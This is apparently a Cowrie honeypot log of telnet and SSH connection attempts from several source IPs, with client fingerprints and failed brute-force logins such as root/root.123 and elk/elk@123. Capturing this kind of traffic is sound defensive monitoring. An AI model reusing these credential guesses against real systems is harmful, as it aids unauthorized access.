{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":57670,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a9a3061c914","protocol":"telnet","message":"New connection: 34.125.158.14:57670 (159.203.135.109:23) [session: 8a9a3061c914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:19.315122Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:19.367696Z","src_ip":"192.109.200.78","session":"1b0d6d2e4ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":54978,"dst_ip":"159.203.135.109","dst_port":23,"session":"43f96ce0a54d","protocol":"telnet","message":"New connection: 137.184.59.230:54978 (159.203.135.109:23) [session: 43f96ce0a54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:20.152275Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":39494,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a6919e6809","protocol":"telnet","message":"New connection: 66.113.160.81:39494 (159.203.135.109:23) [session: 29a6919e6809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:20.611100Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":34476,"dst_ip":"159.203.135.109","dst_port":23,"session":"50ddf84fba3f","protocol":"telnet","message":"New connection: 157.250.199.120:34476 (159.203.135.109:23) [session: 50ddf84fba3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:21.032907Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a4ff6ad3642","protocol":"telnet","message":"New connection: 34.125.158.14:59594 (159.203.135.109:23) [session: 5a4ff6ad3642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:21.403110Z"}
{"eventid":"cowrie.session.closed","duration":30.806963205337524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.077764Z","src_ip":"34.125.158.14","session":"5a051e243293","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47310,"dst_ip":"10.17.0.5","dst_port":22,"session":"0801ba555a2f","protocol":"ssh","message":"New connection: 192.109.200.78:47310 (10.17.0.5:22) [session: 0801ba555a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.229400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.238424Z","src_ip":"192.109.200.78","session":"0801ba555a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":60054,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4954a731ab6","protocol":"telnet","message":"New connection: 34.125.158.14:60054 (159.203.135.109:23) [session: e4954a731ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.246447Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.329713Z","src_ip":"192.109.200.78","session":"0801ba555a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":40524,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e590b3988ed","protocol":"telnet","message":"New connection: 66.113.160.81:40524 (159.203.135.109:23) [session: 4e590b3988ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.604424Z"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:22.723685Z","src_ip":"192.109.200.78","session":"0801ba555a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86885380744934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:23.224102Z","src_ip":"34.125.158.14","session":"4d26a767c246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":60810,"dst_ip":"159.203.135.109","dst_port":23,"session":"91fee0efa541","protocol":"telnet","message":"New connection: 34.125.158.14:60810 (159.203.135.109:23) [session: 91fee0efa541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:23.330727Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e99e452ac37","protocol":"telnet","message":"New connection: 34.125.158.14:32906 (159.203.135.109:23) [session: 0e99e452ac37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:23.528057Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:24.114170Z","src_ip":"192.109.200.78","session":"0801ba555a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":55510,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b7c50a41fa","protocol":"telnet","message":"New connection: 137.184.59.230:55510 (159.203.135.109:23) [session: b2b7c50a41fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:24.152269Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":55134,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d858bd2ab1c","protocol":"telnet","message":"New connection: 172.104.129.70:55134 (159.203.135.109:23) [session: 3d858bd2ab1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:24.649308Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":55210,"dst_ip":"159.203.135.109","dst_port":23,"session":"d346790e1ba1","protocol":"telnet","message":"New connection: 172.104.129.70:55210 (159.203.135.109:23) [session: d346790e1ba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:24.792492Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.136.227.204","src_port":45194,"dst_ip":"159.203.135.109","dst_port":23,"session":"988458070017","protocol":"telnet","message":"New connection: 128.136.227.204:45194 (159.203.135.109:23) [session: 988458070017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:25.608220Z"}
{"eventid":"cowrie.session.closed","duration":31.046324014663696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:26.074106Z","src_ip":"157.250.199.120","session":"819520781ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47326,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc410e53258f","protocol":"ssh","message":"New connection: 192.109.200.78:47326 (10.17.0.5:22) [session: bc410e53258f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:26.486567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:26.491998Z","src_ip":"192.109.200.78","session":"bc410e53258f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:26.577102Z","src_ip":"192.109.200.78","session":"bc410e53258f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:26.909010Z","src_ip":"192.109.200.78","session":"bc410e53258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.79531693458557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:27.008116Z","src_ip":"157.250.199.120","session":"58d3ab16b232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":35462,"dst_ip":"159.203.135.109","dst_port":23,"session":"0834640ee809","protocol":"telnet","message":"New connection: 34.125.158.14:35462 (159.203.135.109:23) [session: 0834640ee809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:27.495252Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":34804,"dst_ip":"159.203.135.109","dst_port":23,"session":"121fba92c524","protocol":"telnet","message":"New connection: 34.125.158.14:34804 (159.203.135.109:23) [session: 121fba92c524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:27.509324Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:27.998616Z","src_ip":"192.109.200.78","session":"bc410e53258f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.036036729812622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:28.046857Z","src_ip":"157.250.199.120","session":"767316f8c7c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.59.230","src_port":56116,"dst_ip":"159.203.135.109","dst_port":23,"session":"52574c50932c","protocol":"telnet","message":"New connection: 137.184.59.230:56116 (159.203.135.109:23) [session: 52574c50932c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:29.031172Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":56126,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7baf5bec83d","protocol":"telnet","message":"New connection: 157.250.199.120:56126 (159.203.135.109:23) [session: f7baf5bec83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:29.153452Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":36506,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f03b1e22d89","protocol":"telnet","message":"New connection: 34.125.158.14:36506 (159.203.135.109:23) [session: 1f03b1e22d89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:29.285380Z"}
{"eventid":"cowrie.session.closed","duration":30.810221910476685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:29.576540Z","src_ip":"185.216.203.48","session":"4f5359cd29dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":56216,"dst_ip":"159.203.135.109","dst_port":23,"session":"19dfbcf6f41e","protocol":"telnet","message":"New connection: 172.104.129.70:56216 (159.203.135.109:23) [session: 19dfbcf6f41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:29.662224Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.203.48","src_port":47172,"dst_ip":"159.203.135.109","dst_port":23,"session":"aea2d9ac8938","protocol":"telnet","message":"New connection: 185.216.203.48:47172 (159.203.135.109:23) [session: aea2d9ac8938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.193317Z"}
{"eventid":"cowrie.session.closed","duration":31.296638011932373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.364781Z","src_ip":"198.50.124.226","session":"cfdedf248589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57006,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a2dc4007ee0","protocol":"ssh","message":"New connection: 192.109.200.78:57006 (10.17.0.5:22) [session: 1a2dc4007ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.631682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.636639Z","src_ip":"192.109.200.78","session":"1a2dc4007ee0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.722118Z","src_ip":"192.109.200.78","session":"1a2dc4007ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":56604,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d4480bf2609","protocol":"telnet","message":"New connection: 172.104.129.70:56604 (159.203.135.109:23) [session: 6d4480bf2609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.917353Z"}
{"eventid":"cowrie.login.failed","username":"elk","password":"elk@123","message":"login attempt [elk/elk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:30.969477Z","src_ip":"192.109.200.78","session":"1a2dc4007ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":56142,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b6de812d493","protocol":"telnet","message":"New connection: 157.250.199.120:56142 (159.203.135.109:23) [session: 9b6de812d493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:31.013766Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:32.054892Z","src_ip":"192.109.200.78","session":"1a2dc4007ee0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":38578,"dst_ip":"159.203.135.109","dst_port":23,"session":"b21e7fa8f07d","protocol":"telnet","message":"New connection: 34.125.158.14:38578 (159.203.135.109:23) [session: b21e7fa8f07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:32.093625Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":34150,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d85820c8c8","protocol":"telnet","message":"New connection: 69.60.120.238:34150 (159.203.135.109:23) [session: 15d85820c8c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:32.141026Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":38622,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6fd9451d212","protocol":"telnet","message":"New connection: 34.125.158.14:38622 (159.203.135.109:23) [session: e6fd9451d212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:32.272958Z"}
{"eventid":"cowrie.session.closed","duration":30.844884157180786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:33.067905Z","src_ip":"34.125.158.14","session":"2c353b9fc929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03312373161316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:33.108182Z","src_ip":"137.184.59.230","session":"0fc04f7322e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":50006,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bf0220688ab","protocol":"telnet","message":"New connection: 103.176.85.233:50006 (159.203.135.109:23) [session: 4bf0220688ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:33.542519Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":56146,"dst_ip":"159.203.135.109","dst_port":23,"session":"875d7c1f35da","protocol":"telnet","message":"New connection: 157.250.199.120:56146 (159.203.135.109:23) [session: 875d7c1f35da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.021352Z"}
{"eventid":"cowrie.session.closed","duration":30.802512407302856,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.030961Z","src_ip":"157.250.199.120","session":"a51b79f5a471","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":39810,"dst_ip":"159.203.135.109","dst_port":23,"session":"46ec855330f7","protocol":"telnet","message":"New connection: 34.125.158.14:39810 (159.203.135.109:23) [session: 46ec855330f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.224727Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":39868,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fba475c16dc","protocol":"telnet","message":"New connection: 34.125.158.14:39868 (159.203.135.109:23) [session: 7fba475c16dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.284110Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57018,"dst_ip":"10.17.0.5","dst_port":22,"session":"0400bd933919","protocol":"ssh","message":"New connection: 192.109.200.78:57018 (10.17.0.5:22) [session: 0400bd933919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.872385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.877264Z","src_ip":"192.109.200.78","session":"0400bd933919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:34.959555Z","src_ip":"192.109.200.78","session":"0400bd933919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":40558,"dst_ip":"159.203.135.109","dst_port":23,"session":"8976b86daabb","protocol":"telnet","message":"New connection: 34.125.158.14:40558 (159.203.135.109:23) [session: 8976b86daabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:35.188191Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"root.123","message":"login attempt [root/root.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:35.217008Z","src_ip":"192.109.200.78","session":"0400bd933919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.125.158.14","src_port":40756,"dst_ip":"159.203.135.109","dst_port":23,"session":"138c68d3b316","protocol":"telnet","message":"New connection: 34.125.158.14:40756 (159.203.135.109:23) [session: 138c68d3b316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:24:35.372537Z"}
